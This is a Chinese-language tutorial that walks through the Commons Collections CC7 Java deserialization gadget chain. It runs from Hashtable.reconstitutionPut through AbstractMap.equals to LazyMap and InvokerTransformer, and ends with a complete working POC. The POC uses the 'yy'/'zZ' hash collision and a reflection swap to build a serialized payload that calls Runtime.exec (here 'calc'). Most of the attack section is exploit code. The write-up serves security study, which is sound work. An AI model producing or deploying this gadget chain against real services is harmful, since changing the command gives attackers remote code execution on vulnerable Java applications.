背景

Java 8u76及以上版本修复了CC5中BadAttributeValueExpException入口点,导致利用链失效,CC7规避这些受到限制的类,找到了一个更底层的类。

CC7链分析

链尾InvokerTransformer、LazyMap

链尾还是不变,直接把CC5的拿来

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);

接着就还是需要找一个可以调用get()方法的类

AbstractMap

我这里参考ysoserial官方链的利用类,官方链用到的类和方法为AbstractMap#equals()

跟进去看一下

可以看到在equals()方法中调用了get()方法
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public boolean equals(Object o) {  
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}

AbstractMapDecorator

这个类先不说,它在利用链的中途被调用了一下,后面会解释为什么。

接下来就需要继续找能够调用equals()方法的类

链首Hashtable

该链的头部为Hashtable,它的reconstitutionPut()可以调用到equals()方法

跟进readObject()方法看一下

跟进reconstitutionPut方法看一下

看到通过e.key.equals调用了equals()方法;同时还可以看到一个hashCode()方法,因为CC6中用到过hashCode()这里就不利用该方法了。

疑惑解决

前面已经提到AbstractMapDecorator类被调用过,此时我们需要知道LazyMap的父类为AbstractMapDecorator,而该链用到的AbstractMap类又是AbstractMapDecorator的父类,因此当通过e.key.equals(LazyMap.equals)调用时,LazyMap没有equals方法,它就会往上找它的父类AbstractMapDecorator(这里被调用),而该类也没有,继续往上找父类就找到了AbstractMap

其中reconstitutionPut源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)  
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

源码解读

1
Entry<?,?>[]

该参数算是代表实体Map的键值对数组

1
int hash = key.hashCode();

hash是用来计算key的hash

1
2
3
4
5
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

最重要的是这个for循环,该循环是用来循环全部的数组的,用来判断数组中是否存在重复键。只有Map中存在重复键时才会进入for循环,以便代码用来抛出错误;我们的目的就需要让它存在重复的键值以便进入for循环,执行e.key.equals(key)

半成品POC

在不看能不能利用的情况下,先把整条链子串起来写一个半成品POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(decoratemap, "jjxxx");

serialize(hashtable);
// unserialize("2.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

POC完善

问题一解决

前文已经提到过,要想进入reconstitutionPut方法的for循环,需要传入两个hash相同的重复键,这就涉及到了hash碰撞,想了解的可以搜一下。

这两组字母经过hashCode()后得到的hash是相同的。

1
2
yy与zZ  
Ea与FB

通过put给添加进去

1
2
3
4
5
6
7
8
9
10
11
HashMap hashMap1 = new HashMap();  
HashMap hashMap2 = new HashMap();
Map lazymap1 = LazyMap.decorate(hashMap1,chainedTransformer);
lazymap1.put("yy",1);
Map lazymap2 = LazyMap.decorate(hashMap2,chainedTransformer);
lazymap2.put("zZ",1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1, "jjxxx");
hashtable.put(lazymap2, "jjxxx");

这样就满足了进入for循环的条件,并调用equals方法。

问题二解决

但是使用上面写法会发现,当序列化的时候就会触发利用链弹出计算器

我们还是用老办法,先让chainstransformer置空,后面再通过反射把它改回来

1
2
3
4
Class c = ChainedTransformer.class;    
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

问题三解决

同时在调试过程中可以看到lazymap2多了一个yy

原因是因为hashtable.put(lazymap2, "jjxxx");过程中会自动调用equals()方法判断是否为同一对象,而equals()又会调用LazyMapget()方法通过put()添加一个yy元素

lazymap2多了一个map,size为2,lazymap1的size为1

反序列化过程中,如果两个lazymap的size不同就会返回false导致无法成功向下调用利用链

因此我们需要删除yy,防止反序列化时无法调用完整利用链

1
lazyMap2.remove("yy");

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map lazymap1 = LazyMap.decorate(hashMap1,chainedTransformer);
lazymap1.put("yy",1);
Map lazymap2 = LazyMap.decorate(hashMap2,chainedTransformer);
lazymap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1, "jjxxx");
hashtable.put(lazymap2, "jjxxx");

Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

lazymap2.remove("yy");

// serialize(hashtable);
unserialize("2.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功弹出计算器

流程图

CC7

总流程图

总结

该利用链更换了两个头部类,CC5整条利用链并不难,主要是在前面的三个问题的解决需要多理解理解就行了。